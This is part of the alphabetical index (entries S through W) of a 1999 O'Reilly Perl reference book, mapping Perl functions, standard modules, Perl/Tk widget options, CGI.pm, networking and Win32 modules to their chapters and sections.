SCRIPT_NAME environment variable : 9.4. CGI Environment Variables
scripts, Perl
checking syntax without running : 3.2. Command-Line Options
debugging : (see debugging)
examples, obtaining : 2.3.1.1. Perl examples
Scroll() (Win32::Console) : Chapter 19, Reference: Scroll
Scrollbar widget (Perl/Tk)
18.1.2.2. The Scrollbar widget
18.9. The Scrollbar Widget
scrollbars, widget (Perl/Tk) : 18.1.2. Scrollbars
Scrolled() (Perl/Tk) : 18.1.2.1. Using the Scrolled method
scrolling_list() (CGI.pm) : Chapter 10, Reference: scrolling_list
-scrollregion option (Canvas) : 18.12. The Canvas Widget
SDBM_File module : 8.126. SDBM_File
search() (Text widget) : 18.11.2. Text Methods
Search::Dict module : 8.127. Search::Dict
searching for scripts with PATH : 3.2. Command-Line Options
secure property (response cookies) : 20.2.2.1. Setting cookies
see()
Listbox widget : 18.10.2. Listbox Methods
Text widget : 18.11.2. Text Methods
seek() : Chapter 5, Reference: seek
seekdir() : Chapter 5, Reference: seekdir
sel.first, sel.last indexes
Entry widget : 18.8.1. Text Indexes
Text widget : 18.11.1. Text Indexes and Modifiers
select() : Chapter 5, Reference: select
Checkbutton widget : 18.5.1. Checkbutton Methods
Mail::Folder module : Chapter 14, Reference: select
Radiobutton widget : 18.6.1. Radiobutton Methods
Select() (Win32::Console) : Chapter 19, Reference: Select
select_label() (Mail::Folder) : Chapter 14, Reference: select_label
-selectbackground option (widgets) : 18.3. Common Widget Configuration Options
-selectborderwidth option (widgets) : 18.3. Common Widget Configuration Options
-selectcolor option
Checkbutton widget : 18.5. The Checkbutton Widget
Menu widget : 18.15. The Menu Widget
Menubutton widget : 18.14.1. Menu Item Options
Radiobutton widget : 18.6. The Radiobutton Widget
-selectforeground option (widgets) : 18.3. Common Widget Configuration Options
-selectimage option
Checkbutton widget : 18.5. The Checkbutton Widget
Menubutton widget : 18.14.1. Menu Item Options
Radiobutton widget : 18.6. The Radiobutton Widget
selection()
Entry widget : 18.8.2. Entry Methods
Listbox widget : 18.10.2. Listbox Methods
-selectmode option (Listbox) : 18.10. The Listbox Widget
SelectSaver module : 8.128. SelectSaver
self_url() (CGI.pm) : Chapter 10, Reference: self_url
SelfLoader module : 8.129. SelfLoader
semaphores, implementing : 19.14. Win32::Semaphore
semctl() : Chapter 5, Reference: semctl
semget() : Chapter 5, Reference: semget
semicolon (;)
ending Perl statements : 4.1. Program Structure
in prototype declarations : 4.7.5. Prototypes
semop() : Chapter 5, Reference: semop
send() : Chapter 5, Reference: send
send() (Socket) : 13.1. Built-in Socket Functions
send_basic_header() (HTTP::Daemon::ClientConn) : Chapter 17, Reference: send_basic_header
send_error() (HTTP::Daemon::ClientConn) : Chapter 17, Reference: send_error
send_file() (HTTP::Daemon::ClientConn) : Chapter 17, Reference: send_file_response
send_redirect() (HTTP::Daemon::ClientConn) : Chapter 17, Reference: send_redirect
send_response() (HTTP::Daemon::ClientConn) : Chapter 17, Reference: send_response
send_status_line() (HTTP::Daemon::ClientConn) : Chapter 17, Reference: send_status_line
sending email messages : 14.1.1. Send Email with Net::SMTP
SendRequest() (Win32::Internet) : Chapter 19, Reference: SendRequest
separator() (Menubutton) : 18.14.2. Menubutton Methods
Server object (PerlScript) : 20.2. Server-Side PerlScript
server-side includes (SSI), mod_perl with : 11.5. Server-Side Includes with mod_perl
server-side PerlScript
20. PerlScript
20.2. Server-Side PerlScript
server-side socket connections
13.1.3. Server Connections
13.2.2. Server-Side Sockets
SERVER_NAME variable : 9.4. CGI Environment Variables
SERVER_PORT variable : 9.4. CGI Environment Variables
SERVER_PROTOCOL variable : 9.4. CGI Environment Variables
SERVER_SOFTWARE variable : 9.4. CGI Environment Variables
ServerVariables collection : 20.2.1. The Request Object
service control interface : 19.15. Win32::Service
Session object (PerlScript) : 20.2. Server-Side PerlScript
Set()
Win32::FileSecurity module : Chapter 19, Reference: Set
Win32::Shortcut module : Chapter 19, Reference: Set
set()
Mail::Send module
Chapter 14, Reference: set
14.2.2. Better Header Control with Mail::Send
Scale widget : 18.13.1. Scale Methods
Scrollbar widget : 18.9.1. Scrollbar Methods
Set-Cookie header
17.3.6. HTTP::Cookies
20.2.2.1. Setting cookies
Set-Cookie2 header : 17.3.6. HTTP::Cookies
set_cookie() (HTTP::Cookies) : Chapter 17, Reference: set_cookie
set_option() (Mail::Folder) : Chapter 14, Reference: set_option
set_readonly() (Mail::Folder) : Chapter 14, Reference: set_readonly
SetAttributes() (Win32::File) : 19.5. Win32::File
setgrent() : Chapter 5, Reference: setgrent
-setgrid option
Listbox widget : 18.10. The Listbox Widget
Text widget : 18.11. The Text Widget
SetHandler directive (mod_perl) : 11.3. mod_perl Handlers
sethostent() : Chapter 5, Reference: sethostent
setnetent() : Chapter 5, Reference: setnetent
SetOption() (Win32::Internet) : Chapter 19, Reference: SetOption
setpgrp() : Chapter 5, Reference: setpgrp
setpriority() : Chapter 5, Reference: setpriority
SetPriorityClass() (Win32::Process) : Chapter 19, Reference: SetPriorityClass
setprotoent() : Chapter 5, Reference: setprotoent
setpwent() : Chapter 5, Reference: setpwent
setservent() : Chapter 5, Reference: setservent
setsockopt() : Chapter 5, Reference: setsockopt
SetStatusCallback() (Win32::Internet) : Chapter 19, Reference: SetStatusCallback
SetValue() (Win32::Registry) : Chapter 19, Reference: SetValue
SetValueEx() (Win32::Registry) : Chapter 19, Reference: SetValueEx
share_info hash : 19.11. Win32::NetResource
shared resources, managing : 19.11. Win32::NetResource
Shell module : 8.130. Shell
shift() : Chapter 5, Reference: shift
shmctl() : Chapter 5, Reference: shmctl
shmget() : Chapter 5, Reference: shmget
shmread() : Chapter 5, Reference: shmread
shmwrite() : Chapter 5, Reference: shmwrite
shortcut files : 19.16. Win32::Shortcut
-show option (Entry) : 18.8. The Entry Widget
Showlex backend (Perl compiler) : 3.4. The Perl Compiler
-showvalue option (Scale) : 18.13. The Scale Widget
shutdown() : Chapter 5, Reference: shutdown
Socket module : 13.1. Built-in Socket Functions
-side option (pack geometry manager) : 18.2.1. The pack Geometry Manager
%SIG hash : 4.4.2. Global Special Arrays and Hashes
sigtrap module : 8.131. sigtrap
Simple Mail Transport Protocol (SMTP) : 14.1.1. Send Email with Net::SMTP
sin() : Chapter 5, Reference: sin
Size()
Mail::POP3Client module : Chapter 14, Reference: Size
Win32::Console module : Chapter 19, Reference: Size
size()
Listbox widget : 18.10.2. Listbox Methods
Net::FTP module : Chapter 16, Reference: size
sizefrom() (Frame widget) : 18.18.1. Toplevel Methods
Skip() (Win32::OLE::Enum) : Chapter 19, Reference: Skip
slash (/)
division operator : 4.5.3. Arithmetic Operators
encoding in URLs : 9.2. URL Encoding
/= (assignment) operator : 4.5.6. Assignment Operators
/.../ pattern match operator : 4.6. Regular Expressions
/.../ Perl debugger command : Chapter 6, Reference: /pattern/
slave() (Net::NNTP) : Chapter 15, Reference: slave
sleep() : Chapter 5, Reference: sleep
slider (Scale) widget : 18.13. The Scale Widget
-sliderlength option (Scale) : 18.13. The Scale Widget
SMTP protocol, interface to : 14.1.1. Send Email with Net::SMTP
smtpsend() (Mail::Internet) : Chapter 14, Reference: smtpsend
sockaddr() (IO::Socket::INET) : Chapter 13, Reference: sockaddr
sockaddr_in() (Socket)
Chapter 13, Reference: sockaddr_in
13.1.2. Client Connections
13.1.3. Server Connections
sockaddr_un() (Socket) : Chapter 13, Reference: sockaddr_un
sockdomain() (IO::Socket) : Chapter 13, Reference: sockdomain
socket() : Chapter 5, Reference: socket
Socket module : 13.1. Built-in Socket Functions
Socket() (Mail::POP3Client) : Chapter 14, Reference: Socket
Socket module : 8.132. Socket
socket() (Socket) : 13.1.1. Initializing a Socket
socketpair() : Chapter 5, Reference: socketpair
sockets : 13. Sockets
built-in functions for : 13.1. Built-in Socket Functions
client-side connections
13.1.2. Client Connections
13.2.1. Client-Side Sockets
initializing : 13.1.1. Initializing a Socket
IO::Socket module : 13.2. The IO::Socket Module
IO::Socket::INET subclass : 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX subclass : 13.2.5. IO::Socket::UNIX Reference
low-level access functions : 5.1. Perl Functions by Category
server-side connections
13.1.3. Server Connections
13.2.2. Server-Side Sockets
Socket module functions : 13.1.4. Socket Module Functions
sockhost() (IO::Socket::INET) : Chapter 13, Reference: sockhost
sockopt() (IO::Socket) : Chapter 13, Reference: sockopt
sockport() (IO::Socket::INET) : Chapter 13, Reference: sockport
socktype() (IO::Socket) : Chapter 13, Reference: socktype
sort() : Chapter 5, Reference: sort
Mail::Folder module : Chapter 14, Reference: sort
source code for Perl, obtaining : 2. Installing Perl
-spacing1, -spacing2, -spacing3 options (Text) : 18.11. The Text Widget
splice() : Chapter 5, Reference: splice
split() : Chapter 5, Reference: split
sprintf() : Chapter 5, Reference: sprintf
SQL statement placeholders : 12.2.4. Placeholders database and statement handles
sqrt() : Chapter 5, Reference: sqrt
srand() : Chapter 5, Reference: srand
SSI (server-side includes), mod_perl with : 11.5. Server-Side Includes with mod_perl
:ssl method group : 10.2. Importing Method Groups
:standard method group : 10.2. Importing Method Groups
standard modules, list of : 8. Standard Modules
start_html() (CGI.pm)
Chapter 10, Reference: start_html
10.5. Using JavaScript Features
start_multipart_form() (CGI.pm) : Chapter 10, Reference: start_multipart_form
startform() (CGI.pm) : Chapter 10, Reference: startform
StartService() (Win32::Service) : Chapter 19, Reference: StartService
starttag() (HTML::Parser) : Chapter 17, Reference: starttag
stat() : Chapter 5, Reference: stat
state()
DBI module : Chapter 12, Reference: state
Frame widget : 18.18.1. Toplevel Methods
State() (Mail::POP3Client) : Chapter 14, Reference: State
-state option (widgets) : 18.3. Common Widget Configuration Options
state, maintaining (CGI) : 10.3. Maintaining State
statement handles (DBI methods) : 12.2.3. Database Handles and Statement Handles
statements : 4.3. Statements
Status property (Response object) : 20.2.2.2. Response properties
STDERR filehandle
4.4.3. Global Special Filehandles
4.9. Filehandles
STDIN filehandle
4.4.3. Global Special Filehandles
4.9. Filehandles
STDOUT filehandle
4.4.3. Global Special Filehandles
4.9. Filehandles
-sticky option (grid manager) : 18.2.2. The grid Geometry Manager
StopService() (Win32::Service) : Chapter 19, Reference: StopService
stor() (Net::FTP) : Chapter 16, Reference: stor
stou() (Net::FTP) : Chapter 16, Reference: stou
str2time() (HTTP::Date) : Chapter 17, Reference: str2time
strict() (URI::URL) : Chapter 17, Reference: strict
strict module : 8.133. strict
string literals : 4.2.2. String Interpolation
\A anchor (string beginning) : 4.6.5. Anchors
character classes : 4.6.4. Character Classes
comparing : 4.5.4.1. Relational operators
double-quoted string literals : 4.2.2. String Interpolation
operators for : 4.5.11.4. String operator
\z anchor (string end) : 4.6.5. Anchors
\Z anchor (string/line end) : 4.6.5. Anchors
string repetition (x) operator : 4.5.11.4. String operator
strings, alternate schemes for quoting : 4.2.2. String Interpolation
structure of Perl programs : 4.1. Program Structure
study() : Chapter 5, Reference: study
sub() : Chapter 5, Reference: sub
sub statement : 4.7. Subroutines
sub_groups() (News::Newsrc) : Chapter 15, Reference: sub_groups
subject() (Mail::Send) : Chapter 14, Reference: subject
submit() (CGI.pm) : Chapter 10, Reference: submit
subroutines : 4.7. Subroutines
constructors : (see constructors)
subs module : 8.134. subs
subscribe() (News::Newsrc) : Chapter 15, Reference: subscribe
subscribed() (News::Newsrc) : Chapter 15, Reference: subscribed
$SUBSCRIPT_SEPARATOR ($;) variable : 4.4.1. Global Special Variables
subscriptions() (Net::NNTP) : Chapter 15, Reference: subscriptions
$SUBSEP ($;) variable : 4.4.1. Global Special Variables
substitution (s///) operator
4.6. Regular Expressions
4.6.1. Pattern-Matching Operators
substr() : Chapter 5, Reference: substr
success code (NNTP) : 15.1. The NNTP Protocol
supported() (Net::FTP) : Chapter 16, Reference: supported
Suspend() (Win32::Process) : Chapter 19, Reference: Suspend
switches
command-line options : 3.2. Command-Line Options
sybperl package : 12.2. Design of DBI
Symbol module : 8.135. Symbol
symbol tables : 7.1. Namespaces and Packages
symlink() : Chapter 5, Reference: symlink
sync() (Mail::Folder) : Chapter 14, Reference: sync
Sys::Hostname module : 8.136. Sys::Hostname
Sys::Syslog module : 8.137. Sys::Syslog
syscall() : Chapter 5, Reference: syscall
sysopen() : Chapter 5, Reference: sysopen
sysread() : Chapter 5, Reference: sysread
sysseek() : Chapter 5, Reference: sysseek
System V interprocess communication functions : 5.1. Perl Functions by Category
system() : Chapter 5, Reference: system
$SYSTEM_FD_MAX ($^F) variable : 4.4.1. Global Special Variables
syswrite() : Chapter 5, Reference: syswrite

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

T command (Perl debugger) : Chapter 6, Reference: T
t command (Perl debugger) : Chapter 6, Reference: t
-t file test operator : 4.5.8. File Test Operators
-T file test operator : 4.5.8. File Test Operators
-T option (dprofpp) : 6.5. The Perl Profiler
-t option (dprofpp) : 6.5. The Perl Profiler
-t option (perlbug) : 6.6. The perlbug Program
\t (tab) sequence : 4.6.3. Escaped Sequences
-T option (perl) : 3.2. Command-Line Options
-tabs option (Text) : 18.11. The Text Widget
tag() (HTML::Parser) : Chapter 17, Reference: tag
tagAdd() (Text widget) : 18.11.3. Tags
tagBind() (Text widget) : 18.11.3. Tags
tagCget() (Text widget) : 18.11.3. Tags
tagConfigure() (Text widget) : 18.11.3. Tags
tagDelete() (Text widget) : 18.11.3. Tags
tagLower() (Text widget) : 18.11.3. Tags
tagNames() (Text widget) : 18.11.3. Tags
tagNextrange() : 18.11.3. Tags
tagRaise() (Text widget) : 18.11.3. Tags
tagRanges() (Text widget) : 18.11.3. Tags
tagRemove() (Text widget) : 18.11.3. Tags
tags, with Text widgets : 18.11.3. Tags
taint checking : 3.2. Command-Line Options
-takefocus option (widgets) : 18.3. Common Widget Configuration Options
-tearoff option
Menu widget : 18.15. The Menu Widget
Menubutton widget : 18.14. The Menubutton Widget
Optionmenu widget : 18.16. The Optionmenu Widget
tell() : Chapter 5, Reference: tell
telldir() : Chapter 5, Reference: telldir
templates for outputting data : 4.10. Formats
Term::Cap module : 8.138. Term::Cap
Term::Complete module : 8.139. Term::Complete
Term::ReadLine module : 8.140. Term::ReadLine
test command (CPAN.pm) : Chapter 2, Reference: test
Test::Harness module : 8.142. Test::Harness
Test modules : 8.141. Test
text, translating to/from pod
Chapter 4, Reference: pod2text
8.122. Pod::Text
text indexes (Entry widgets) : 18.8.1. Text Indexes
Text modules : 8.143. Text::Abbrev
Text::Abbrev module : 8.143. Text::Abbrev
Text::ParseWords module : 8.144. Text::ParseWords
Text::Soundex module : 8.145. Text::Soundex
Text::Tabs module : 8.146. Text::Tabs
Text::Wrap module : 8.147. Text::Wrap
-text option
Button widget : 18.4. The Button Widget
Checkbutton widget : 18.5. The Checkbutton Widget
Label widget : 18.7. The Label Widget
Menubutton widget : 18.14. The Menubutton Widget
Optionmenu widget : 18.16. The Optionmenu Widget
Radiobutton widget : 18.6. The Radiobutton Widget
Text widget (Perl/Tk) : 18.11. The Text Widget
textarea() (CGI.pm) : Chapter 10, Reference: textarea
textfield() (CGI.pm) : Chapter 10, Reference: textfield
-textvariable option
Button widget : 18.4. The Button Widget
Checkbutton widget : 18.5. The Checkbutton Widget
Entry widget : 18.8. The Entry Widget
Label widget : 18.7. The Label Widget
Menubutton widget : 18.14. The Menubutton Widget
Optionmenu widget : 18.16. The Optionmenu Widget
Radiobutton widget : 18.6. The Radiobutton Widget
Thread module : 8.148. Thread
Thread::Queue module : 8.149. Thread::Queue
Thread::Semaphore module : 8.150. Thread::Semaphore
Thread::Signal module : 8.151. Thread::Signal
Thread::Specific module : 8.152. Thread::Specific
threads : (see multithreading)
-tickinterval option (Scale) : 18.13. The Scale Widget
tidy_body() (Mail::Internet) : Chapter 14, Reference: tidy_body
tie() : Chapter 5, Reference: tie
Tie modules
Tie::Array module : 8.153. Tie::Array, Tie::StdArray
Tie::Handle module : 8.154. Tie::Handle
Tie::Hash module : 8.155. Tie::Hash, Tie::StdHash
Tie::RefHash module : 8.156. Tie::RefHash
Tie::Scalar module : 8.157. Tie::Scalar, Tie::StdScalar
Tie::StdArray module : 8.153. Tie::Array, Tie::StdArray
Tie::StdHash module : 8.155. Tie::Hash, Tie::StdHash
Tie::StdScalar module : 8.157. Tie::Scalar, Tie::StdScalar
Tie::SubstrHash module : 8.158. Tie::SubstrHash
tied() : Chapter 5, Reference: tied
tilde (~)
bitwise negation operator : 4.5.2. Unary Operators
suppressing output whitespace : 4.10. Formats
~~ to print strings in fields : 4.10. Formats
time : (see date and time)
time() : Chapter 5, Reference: time
Time modules
Time::gmtime module : 8.159. Time::gmtime
Time::Local module : 8.160. Time::Local
Time::localtime module : 8.161. Time::localtime
Time::tm module : 8.162. Time::tm
time2str() (HTTP::Date) : Chapter 17, Reference: time2str
TimeConvert() (Win32::Internet) : Chapter 19, Reference: TimeConvert
Timeout option (IO::Socket::INET) : 13.2.4. IO::Socket::INET Reference
timeout()
IO::Socket module : Chapter 13, Reference: timeout
LWP modules
LWP::UserAgent module : Chapter 17, Reference: timeout
times() : Chapter 5, Reference: times
title() (Frame widget) : 18.18.1. Toplevel Methods
Title() (Win32::Console) : Chapter 19, Reference: Title
Tk extension to Perl : 18. Perl/Tk
callbacks : 18.1.3. Callbacks
colors and fonts : 18.1.4. Colors and Fonts
geometry managers : 18.2. Geometry Managers
scrollbars : 18.1.2. Scrollbars
widgets : 18.1. Widgets
Button widget : 18.4. The Button Widget
Canvas widget : 18.12. The Canvas Widget
Checkbutton widget : 18.5. The Checkbutton Widget
common configuration options : 18.3. Common Widget Configuration Options
Entry widget : 18.8. The Entry Widget
Frame widget : 18.17. The Frame Widget
Label widget : 18.7. The Label Widget
Listbox widget : 18.10. The Listbox Widget
Menu widget : 18.15. The Menu Widget
Menubutton widget : 18.14. The Menubutton Widget
Optionmenu widget : 18.16. The Optionmenu Widget
Radiobutton widget : 18.6. The Radiobutton Widget
Scale widget : 18.13. The Scale Widget
Scrollbar widget : 18.9. The Scrollbar Widget
Text widget : 18.11. The Text Widget
toplevel widget : 18.18. The Toplevel Widget
widgets methods : 18.1.1. Widget Methods
-to option (Scale) : 18.13. The Scale Widget
to()
Mail::Send module : Chapter 14, Reference: to
Net::SMTP module : Chapter 14, Reference: to
toggle() (Checkbutton) : 18.5.1. Checkbutton Methods
top() (Net::POP3) : Chapter 14, Reference: top
toplevel widget (Perl/Tk) : 18.18. The Toplevel Widget
tr// pattern match operator : 4.6.1. Pattern-Matching Operators
trace() (DBI) : Chapter 12, Reference: trace
transient() (Frame widget) : 18.18.1. Toplevel Methods
transport protocols : 13. Sockets
traverse() (HTML::Parser) : Chapter 17, Reference: traverse
-troughcolor option
Scale widget : 18.13. The Scale Widget
Scrollbar widget : 18.9. The Scrollbar Widget
truncate() : Chapter 5, Reference: truncate
TTY option (PERLDB_OPTS) : 6.4. Customizing the Debugger
type()
Canvas widget : 18.12.3. Canvas Methods
Menu widget : 18.15.2. Menu Methods
Net::FTP module : Chapter 16, Reference: type
Type option
IO::Socket::INET module : 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX module : 13.2.5. IO::Socket::UNIX Reference
Type() (Win32::OLE::Variant) : Chapter 19, Reference: Type
typeglob prototype symbol (*) : 4.7.5. Prototypes

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

u command (CPAN.pm) : Chapter 2, Reference: u
-u file test operator : 4.5.8. File Test Operators
-U option (dprofpp) : 6.5. The Perl Profiler
-u option (dprofpp) : 6.5. The Perl Profiler
-u option (perl) : 3.2. Command-Line Options
-U option (perl) : 3.2. Command-Line Options
uc() : Chapter 5, Reference: uc
ucfirst() : Chapter 5, Reference: ucfirst
$UID ($<) variable : 4.4.1. Global Special Variables
uidl() (Net::POP3) : Chapter 14, Reference: uidl
umask() : Chapter 5, Reference: umask
unary operators : 4.5.2. Unary Operators
uncompressing Perl source code
2.3.1. Installing on Unix
2.3.2.2. Standard Perl distribution
undef value : 4.2.4. Variables
undef() : Chapter 5, Reference: undef
undelete_message() (Mail::Folder) : Chapter 14, Reference: undelete_message
-underline option (widgets) : 18.3. Common Widget Configuration Options
underscore (_)
filehandle : 4.4.3. Global Special Filehandles
improving number legibility : 4.2.1. Numbers
undump program : 3.2. Command-Line Options
unescape_from() (Mail::Internet) : Chapter 14, Reference: unescape_from
unique_name() (Net::FTP) : Chapter 16, Reference: unique_name
UNIVERSAL module : 8.163. UNIVERSAL
Unix-domain sockets : 13. Sockets
Unix systems
#! (shebang) line : 3. The Perl Interpreter
command processing : 3.1. Command Processing
installing Perl on : 2.3.1. Installing on Unix
unless modifier : 4.3.1.4. Modifiers
unless statement : 4.3.1. Conditionals and Loops
unlink() : Chapter 5, Reference: unlink
unmark() (News::Newsrc) : Chapter 15, Reference: unmark
unmark_list() (News::Newsrc) : Chapter 15, Reference: unmark_list
unmark_range() (News::Newsrc) : Chapter 15, Reference: unmark_range
unmarked_articles() (News::Newsrc) : Chapter 15, Reference: unmarked_articles
unpack() : Chapter 5, Reference: unpack
unpack_sockaddr_in() (Socket) : Chapter 13, Reference: unpack_sockaddr_in
unpack_sockaddr_un() (Socket) : Chapter 13, Reference: unpack_sockaddr_un
unpacking Perl source code
2.3.1. Installing on Unix
2.3.2.2. Standard Perl distribution
unpost() (Menu widget) : 18.15.2. Menu Methods
unsafe operations, allowing : 3.2. Command-Line Options
unshift() : Chapter 5, Reference: unshift
unsub_groups() (News::Newsrc) : Chapter 15, Reference: unsub_groups
unsubscribe() (News::Newsrc) : Chapter 15, Reference: unsubscribe
untie() : Chapter 5, Reference: untie
until modifier : 4.3.1.4. Modifiers
until statement : 4.3.1.1. while loops
update_message() (Mail::Folder) : Chapter 14, Reference: update_message
URI modules : 17.5. The URI Module
URI::Escape : 17.5. The URI Module
URI::Heuristic : 17.5. The URI Module
URI::URL : 17.5.2. URI::URL
URI::URL module : 17.1. LWP Overview
URIs (Universal Resource Identifiers) : 17.1. LWP Overview
url()
CGI.pm module : Chapter 10, Reference: url
HTTP::Daemon module : Chapter 17, Reference: url
HTTP::Request module : Chapter 17, Reference: url
URLs (uniform resource locators)
(see also Win32 modules, Win32::Internet module)
Chapter 19, Reference: CanonicalizeURL
encoding : 9.2. URL Encoding
extra path information : 9.3. Extra Path Information
URI::URL module
17.1. LWP Overview
17.5.2. URI::URL
use directives
7. Packages, Modules, and Objects
7.2. Modules
use English : 4.4. Special Variables
use integer : 4.5.3. Arithmetic Operators
use Socket : 13.1.1. Initializing a Socket
use_alarm() (LWP::UserAgent) : Chapter 17, Reference: use_alarm
use_named_parameters() (CGI.pm) : Chapter 10, Reference: use_named_parameters
Usenet news : 15. Usenet News
Net::News module : 15.2. Net::NNTP
News::Newsrc module : 15.3. The News::Newsrc Module
Usenet newsgroups, Perl-related : 1.4.1. The comp.lang.perl.* Newsgroups
use() : Chapter 5, Reference: use
user()
Mail::Address module
Chapter 14, Reference: user
14.2.6. Parse Email Addresses with Mail::Address
Net::POP3 module
Chapter 14, Reference: user
14.1.3. Retrieving Email with Net::POP3
URI::URL module : Chapter 17, Reference: user
USER command (POP3) : 14.1.3. Retrieving Email with Net::POP3
User::grent module : 8.164. User::grent
User() (Mail::POP3Client) : Chapter 14, Reference: User
User::pwent module : 8.165. User::pwent
user_agent() (CGI.pm) : Chapter 10, Reference: user_agent
user_name() (CGI.pm) : Chapter 10, Reference: user_name
UserAgent object
17.1. LWP Overview
17.2. The LWP Modules
17.2.3. LWP::UserAgent
UserAgent() (Win32::Internet) : Chapter 19, Reference: UserAgent
UserCreate() (Win32::NetAdmin) : Chapter 19, Reference: UserCreate
Username() (Win32::Internet) : Chapter 19, Reference: Username
users, fetching information on : 5.1. Perl Functions by Category
utime() : Chapter 5, Reference: utime

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

V command (Perl debugger) : Chapter 6, Reference: V
v command (Perl debugger) : Chapter 6, Reference: v
-V option (dprofpp) : 6.5. The Perl Profiler
-v option (dprofpp) : 6.5. The Perl Profiler
-v option (perlbug) : 6.6. The perlbug Program
-v option (perl) : 3.2. Command-Line Options
-V option (perl) : 3.2. Command-Line Options
valof() (Win32::OLE) : Chapter 19, Reference: valof
-value option
Menubutton widget : 18.14.1. Menu Item Options
Radiobutton widget : 18.6. The Radiobutton Widget
Value() (Win32::OLE::Variant) : Chapter 19, Reference: Value
values() : Chapter 5, Reference: values
-variable option
Checkbutton widget : 18.5. The Checkbutton Widget
Menubutton widget : 18.14.1. Menu Item Options
Optionmenu widget : 18.16. The Optionmenu Widget
Radiobutton widget : 18.6. The Radiobutton Widget
Scale widget : 18.13. The Scale Widget
variables : 4.2.4. Variables
declaration and scope
4.2.6. Declarations and Scope
4.7.4. Private and Local Variables
scoping functions : 5.1. Perl Functions by Category
local vs. private
4.2.6. Declarations and Scope
4.7.4. Private and Local Variables
pattern match variables : 4.6.7. Pattern Match Variables
scalar and list context : 4.2.5. Scalar and List Contexts
special (predefined) : 4.4. Special Variables
Variant data structure : 19.18.4. Win32::OLE::Variant
vars module : 8.166. vars
vec() : Chapter 5, Reference: vec
verbatim paragraphs (pod) : 4.11. Pod
-verbose option (perlcc) : 3.4. The Perl Compiler
verify() (Net::SMTP) : Chapter 14, Reference: verify
Version() (Win32::Internet) : Chapter 19, Reference: Version
versions of Perl
obtaining current : 2.1. The CPAN Architecture
printing : 3.2. Command-Line Options
for Win32 systems : 2.3.2. Installing on Win32
versions of Perl modules : 2.4.1. Locating modules
vertical bar (|)
format fieldholders : 4.10. Formats
OR bitwise operator : 4.5.10. Bitwise Operators
Perl debugger command : Chapter 6, Reference: |
regular expression metacharacter : 4.6.2. Regular Expression Syntax
|= (assignment) operator : 4.5.6. Assignment Operators
|| (logical OR) operator : 4.5.9. Logical Operators
|| Perl debugger command : Chapter 6, Reference: ||
||= (assignment) operator : 4.5.6. Assignment Operators
virtual web documents : 9.1.2. Creating Virtual Documents
-visual option
Frame widget : 18.17. The Frame Widget
toplevel widget : 18.18. The Toplevel Widget
vmsish module : 8.167. vmsish

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

\W (nonword) character class : 4.6.4. Character Classes
\w (word) character class : 4.6.4. Character Classes
w command (Perl debugger) : Chapter 6, Reference: w
-w file test operator : 4.5.8. File Test Operators
-W file test operator : 4.5.8. File Test Operators
-w option (perl) : 3.2. Command-Line Options
wait() : Chapter 5, Reference: wait
Win32::ChangeNotification module : Chapter 19, Reference: wait
Win32::Mutex module : Chapter 19, Reference: wait
Win32::Semaphore module : Chapter 19, Reference: wait
Wait() (Win32::Process) : Chapter 19, Reference: Wait
waitpid() : Chapter 5, Reference: waitpid
Wall, Larry : 1.2. Perl Development
wantarray() : Chapter 5, Reference: wantarray
warn()
Chapter 5, Reference: warn
4.9. Filehandles
HTML::Parser module : Chapter 17, Reference: warn
Warn attribute (DBI) : 12.2.3. Database Handles and Statement Handles
$WARNING ($^W) variable : 4.4.1. Global Special Variables
warnings when running scripts : 3.2. Command-Line Options
web access, LWP library for : (see LWP library)
web client, creating : 17.2.2. LWP::Simple
web documents, virtual : 9.1.2. Creating Virtual Documents
web server programming : 11. Web Server Programming with mod_perl
while loops : 4.3.1.1. while loops
while modifier : 4.3.1.4. Modifiers
whitespace
encoding into URLs : 9.2. URL Encoding
in Perl programs : 4.1. Program Structure
\S (non-whitespace) character class : 4.6.4. Character Classes
\s (whitespace) character class : 4.6.4. Character Classes
suppressing in formatted output : 4.10. Formats
widgets (Perl/Tk) : 18.1. Widgets
callbacks : 18.1.3. Callbacks
colors and fonts : 18.1.4. Colors and Fonts
common configuration options : 18.3. Common Widget Configuration Options
geometry managers for : 18.2. Geometry Managers
scrollbars : 18.1.2. Scrollbars
widget methods : 18.1.1. Widget Methods
-width option : 18.3. Common Widget Configuration Options
place geometry manager : 18.2.3. The Place Geometry Manager
wildcards for regular expressions : 4.6.2. Regular Expression Syntax
anchors : 4.6.5. Anchors
character classes : 4.6.4. Character Classes
escaped sequences : 4.6.3. Escaped Sequences
quantifiers : 4.6.6. Quantifiers
Win32 modules : 19. Win32 Modules and Extensions
Win32::ChangeNotification module : 19.3. Win32::ChangeNotification
Win32::Clipboard module : 19.1. Win32::Clipboard
Win32::Console module : 19.2. Win32::Console
Win32::Eventlog module : 19.4. Win32::Eventlog
Win32::File module : 19.5. Win32::File
Win32::FileSecurity module : 19.6. Win32::FileSecurity
Win32::Internet module : 19.7. Win32::Internet
Win32::IPC module : 19.8. Win32::IPC
Win32::Mutex module : 19.9. Win32::Mutex
Win32::NetAdmin module : 19.10. Win32::NetAdmin
Win32::NetResource module : 19.11. Win32::NetResource
Win32::OLE modules : 19.18. OLE Automation
Win32::OLE::Const module : 19.18.5. Win32::OLE::Const
